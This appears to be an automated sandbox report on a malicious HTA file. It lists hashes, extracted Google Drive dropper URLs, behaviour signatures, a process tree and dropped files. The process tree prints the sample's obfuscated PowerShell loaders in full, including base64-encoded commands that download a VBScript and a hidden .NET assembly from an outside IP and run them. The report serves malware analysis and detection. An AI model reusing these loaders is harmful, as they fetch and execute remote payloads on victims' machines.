Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-10-2024 03:18

General

  • Target

    fcc1b8c11b5cae212cbdb9b7aaa083da59ccab319816d7ef8e37c2856347b0f0.hta

  • Size

    204KB

  • MD5

    9dbf5ee2610284f5668fb229ba474b95

  • SHA1

    12b3f4c93e36b9bca1bfecf8fa522748d3631c74

  • SHA256

    fcc1b8c11b5cae212cbdb9b7aaa083da59ccab319816d7ef8e37c2856347b0f0

  • SHA512

    06fe1b0e3ca4e04108fa8a50f60867e42f38e60768aebbc8935a7c24b973cf3546f6f7f4548e9fac67cebe552319d7323fee5eeaa87dc5f958aa23377cb3ccb2

  • SSDEEP

    96:Eac75KAtf7aRNeKmo4T5vc1IPqCwFifcu7T:EaA52RNevpJVfZT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fcc1b8c11b5cae212cbdb9b7aaa083da59ccab319816d7ef8e37c2856347b0f0.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2960
    • C:\Windows\SysWOW64\winDOWspOWERSheLL\v1.0\pOweRSheLl.ExE
      "C:\Windows\SysTEM32\winDOWspOWERSheLL\v1.0\pOweRSheLl.ExE" "poWERShELl -Ex bYPAss -NOP -w 1 -C DEVICECrEDENtiaLDEPloymenT.EXe ; IeX($(iEx('[syStem.TeXt.enCOdIng]'+[ChAr]58+[ChAr]0x3A+'utF8.geTStRiNg([SySTeM.cOnveRt]'+[CHar]0x3a+[ChAR]58+'FROMBASE64sTRINg('+[cHaR]34+'JExBTmYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYmVyZEVmaU5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBidEdsVWpzLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjRFNGWUcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVEYWNZeVRZWUNRLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQmtab0UsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFqUXRiYXVIcWJUKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJVYlRicGlLZSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEWlZyQVJNZFdhaCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRMQU5mOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc2LjE0MS80MS9zaW1wbGV0aGluZ3N3aXRoZ3JlYXR0aGlnbnNnaXZlbm1lYmVzdHRoaW5ncy50SUYiLCIkRU52OkFQUERBVEFcc2ltcGxldGhpbmdzd2l0aGdyZWF0dGhpZ25zZ2l2ZW5tZWJlc3QudmJTIiwwLDApO1N0YVJ0LVNMZUVQKDMpO3N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2ltcGxldGhpbmdzd2l0aGdyZWF0dGhpZ25zZ2l2ZW5tZWJlc3QudmJTIg=='+[Char]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2392
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAss -NOP -w 1 -C DEVICECrEDENtiaLDEPloymenT.EXe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:544
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\olc5tpwi.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC025.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC024.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2892
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\simplethingswithgreatthignsgivenmebest.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1984
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTaG9tZVsyMV0rJFBzaE9tZVszMF0rJ3gnKSAoICgoJ3N3UmltYWdlVXJsID0gNWw3JysnaHR0cHM6Ly8nKydkcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgNWw3O3N3UndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c3dSaW1hZ2VCeXRlcyA9IHN3UndlYkNsaWVudC5Eb3dubG9hZERhdGEoc3dSaW1hZ2VVcmwpO3N3JysnUmltYWdlVGV4dCA9IFtTeXN0ZW0nKycuVGV4dC5FbmNvZGluZ10nKyc6OlVURjguR2V0U3RyaW5nKHN3UmltYWdlQnl0ZXMpO3N3UnN0YXJ0RmxhZyA9IDVsNzw8QkEnKydTRTY0X1NUQVJUPicrJz41bDc7c3dSZW5kRmxhZyA9IDVsNzw8QkFTRTY0X0VORD4+NWw3O3N3UnMnKyd0YXJ0SW5kZXggPSBzd1JpbWFnZVRleHQuSW5kZXhPZicrJyhzd1JzdGFydEZsYWcpO3N3UmVuZEluZGV4ID0gc3dSaW1hZ2VUJysnZXh0LkluZGV4T2Yoc3dSZW5kRmxhZyk7c3dSc3RhcnRJJysnbmRleCAtZ2UgMCAtYW5kIHMnKyd3UmVuZEluZGV4IC1ndCBzd1JzdGEnKydydEluZGV4O3N3UnN0YXJ0SW5kZXggKz0gc3dSc3RhcnRGbGFnLkxlbmd0aDtzd1JiYXNlNjRMZW5ndGggPSBzd1JlbmRJbmRleCAtIHN3UnN0YXJ0SW5kZXg7c3dSYmFzZTY0Q29tbWFuZCA9IHN3UmltYWdlVGV4dC5TdWJzJysndHJpbmcoc3dSc3RhcnRJbmRleCwgc3dSYmFzZTY0TGVuZ3RoKTtzd1JiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChzd1JiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCcrJykgRncxJysnICcrJ0ZvckVhY2gtT2JqZWN0IHsgc3dSXyB9KVstMS4uLShzd1JiYXNlNjRDb21tYW5kLkxlbmd0aCldO3N3UmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoc3dSYmFzZTY0UmV2ZXJzZWQpO3N3UmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChzd1Jjb21tYW5kQnl0ZXMpO3N3UnZhaU1ldGhvZCA9IFtkJysnbmxpYicrJy5JTy5Ib21lXS5HZXRNZXRob2QoNWw3VkFJNWw3KTtzd1J2YWlNZXRob2QuSW52b2tlKHN3Um51bGwsIEAoNWw3dHh0LlRUUkxQTVMvMTQvMTQxLjY3MS4zLjI5MS8vOnB0dGg1bDcsIDVsN2Rlc2F0aXZhZG81bDcsIDVsN2Rlc2F0aXZhZG81bDcsIDVsN2Rlc2F0aXZhZG8nKyc1bDcsICcrJzVsN2FzcG5ldF9yZWdicm93c2VyczVsNywgNWw3ZCcrJ2VzYXRpdmFkbzVsNywgNWw3ZGVzYXRpdmFkbzVsNyw1bDdkZXNhdGl2YWRvNWw3LDVsN2Rlc2F0aXZhZG81bDcsNWw3ZGVzYXRpdmFkbzVsNyw1bDdkZXNhdGl2YWRvNWw3LDVsN2Rlc2F0aXZhZG81bDcsNWw3MTVsNyw1bDdkZXNhdGl2YWRvNWw3KSk7JykgLXJlUExhY0UnNWw3JyxbY0hhcl0zOSAtcmVQTGFjRSAnc3dSJyxbY0hhcl0zNiAgLUNSZXBMQWNlICAnRncxJyxbY0hhcl0xMjQpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1492
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pShome[21]+$PshOme[30]+'x') ( (('swRimageUrl = 5l7'+'https://'+'drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 5l7;swRwebClient = New-Object System.Net.W'+'ebClient;swRimageBytes = swRwebClient.DownloadData(swRimageUrl);sw'+'RimageText = [System'+'.Text.Encoding]'+'::UTF8.GetString(swRimageBytes);swRstartFlag = 5l7<<BA'+'SE64_START>'+'>5l7;swRendFlag = 5l7<<BASE64_END>>5l7;swRs'+'tartIndex = swRimageText.IndexOf'+'(swRstartFlag);swRendIndex = swRimageT'+'ext.IndexOf(swRendFlag);swRstartI'+'ndex -ge 0 -and s'+'wRendIndex -gt swRsta'+'rtIndex;swRstartIndex += swRstartFlag.Length;swRbase64Length = swRendIndex - swRstartIndex;swRbase64Command = swRimageText.Subs'+'tring(swRstartIndex, swRbase64Length);swRbase64Reversed = -jo'+'in (swRbase64Command.ToCharArray('+') Fw1'+' '+'ForEach-Object { swR_ })[-1..-(swRbase64Command.Length)];swRcommandBytes ='+' [System.Convert]::FromBase64String(swRbase64Reversed);swRloadedAssembly = [System.Reflection.Assembly]::Load(swRcommandBytes);swRvaiMethod = [d'+'nlib'+'.IO.Home].GetMethod(5l7VAI5l7);swRvaiMethod.Invoke(swRnull, @(5l7txt.TTRLPMS/14/141.671.3.291//:ptth5l7, 5l7desativado5l7, 5l7desativado5l7, 5l7desativado'+'5l7, '+'5l7aspnet_regbrowsers5l7, 5l7d'+'esativado5l7, 5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l7desativado5l7,5l715l7,5l7desativado5l7));') -rePLacE'5l7',[cHar]39 -rePLacE 'swR',[cHar]36 -CRepLAce 'Fw1',[cHar]124) )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1996

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESC025.tmp

    Filesize

    1KB

    MD5

    3f127c4ce4524733505f2309c52eda8f

    SHA1

    64ce0362061edc883490616078aee0a23a4278a7

    SHA256

    76e25a82d89846bccfc2f0b23e797fbc480220020ace7f7cbfbc656aad176e1d

    SHA512

    5286ad26d92f14678273d776e38e551e33c93699ec55b5fc210c1fe2600d26cd0e9301f8ef513f9f09691de64dea812dcb56778bd8e93200669153bcc3773783

  • C:\Users\Admin\AppData\Local\Temp\olc5tpwi.dll

    Filesize

    3KB

    MD5

    61ecd3510b3d0a29c72045f2342a3127

    SHA1

    61cc25dd81955fe5fc7aa2166b970ef9bfd56e49

    SHA256

    57455e08c389c617e0feb01a8359feb1baa503eae195eecd643b71ad51e38f21

    SHA512

    6aea337c056cd722cf2c6cc8a2343568e5c24a2ec38d777851dde8ed6ee7f0f9894360226b4d7c673d9772576374f6ce2317cce4394216f8bc4973368c6bebe9

  • C:\Users\Admin\AppData\Local\Temp\olc5tpwi.pdb

    Filesize

    7KB

    MD5

    0129de4f883b788dc1fec6b18f24ba1f

    SHA1

    534fa884d7a45caa585e5b40752e412f02024f76

    SHA256

    1f082d975d058e710524638ad3b4e9583ce71762862615278336e518a2e48c5f

    SHA512

    fad35c3cdd0cac8a703e4ffa562f8f555fe420f8c970672468c431df9421a2848c294c5691d3e9b16385c295cfeb868a035114f4c326cdd990cd58cf48bb4013

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    bd5499f5a68180e193c002dd23bc21ab

    SHA1

    e04767ac4039ec42b6ac955d6b3e79f8266c496c

    SHA256

    f9ccc2b6525121c8c7478f2d4f8dc3988e91403acc42784bf4880900a728a79c

    SHA512

    80fe8f5e39171f055214615a47ad216459bfa56386e2efb4d3ca2f0f310642d4b9cb9b8d84cf4a1e9056c650bd82e9ce8b3fbaecda57feddcc05770b95617fba

  • C:\Users\Admin\AppData\Roaming\simplethingswithgreatthignsgivenmebest.vbS

    Filesize

    136KB

    MD5

    74339d80989d10693dbc1115d1cf3eb4

    SHA1

    bd9b4dea8d68db3261e4eb23a9dfe857d0f9ee44

    SHA256

    a73c93345d81b888fe37255abc545dcdb3470b4f0bd59654e4b398c87be6b64d

    SHA512

    4befe3383549fb2048e9617430b284f8b62cce46fa4998a62122e7ed4349357ad9b11c0a0819c40467ce3b2ca7648222b1714e3745a4e74f50fae3d569caa1ba

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCC024.tmp

    Filesize

    652B

    MD5

    941ed7135b3f6977d005680321d1d659

    SHA1

    c6a84e92a4c3244818a326620fc97f8392394080

    SHA256

    61d9a51bdaf861b2ef493976ccc41a5be40616f1f9a8a89390d6a93adbd17c5f

    SHA512

    02cdf9d685cae0ecac27ca856ceb2af5c90075a4e1bf7aef6eaa0794275ab20040e52c5ddeaba93f7b42f9a029fe07d3e9ae801e338e6a8b4cec43e9b098b482

  • \??\c:\Users\Admin\AppData\Local\Temp\olc5tpwi.0.cs

    Filesize

    480B

    MD5

    ce22e90871744b25a04ac8c5691f49cc

    SHA1

    bc0a93c1fe61e00daa34774994b638d19f735228

    SHA256

    3b955e3c74519870aacef3876b7cdc4420f0b77d2d09937b7385e8b578f26546

    SHA512

    5f13af44f2219d050d04658808b287bcb9c948765a1aca148ab148e0981087ab22d6b5af9fa74360b41a7322b9009858cf25e480a579b16fc8bd62c9b72d0f88

  • \??\c:\Users\Admin\AppData\Local\Temp\olc5tpwi.cmdline

    Filesize

    309B

    MD5

    2df003a8f5fbf8c9914018277fa1c9aa

    SHA1

    87f532ddedfb2cc2dc4451549fe39cd75843a354

    SHA256

    8902ae6994cb4a5e7fdeed37d345a639b8e1b2420bbd9c35f6808ed465a15bcc

    SHA512

    feb7d9bd458b29e3c28c51af3fe37de98e5f0f1e881290db576eb2e7e2a48ee5f3613d45db8c8878a91b89e508380bcf99e60ae65c902a7e0c84ea90abdee0e0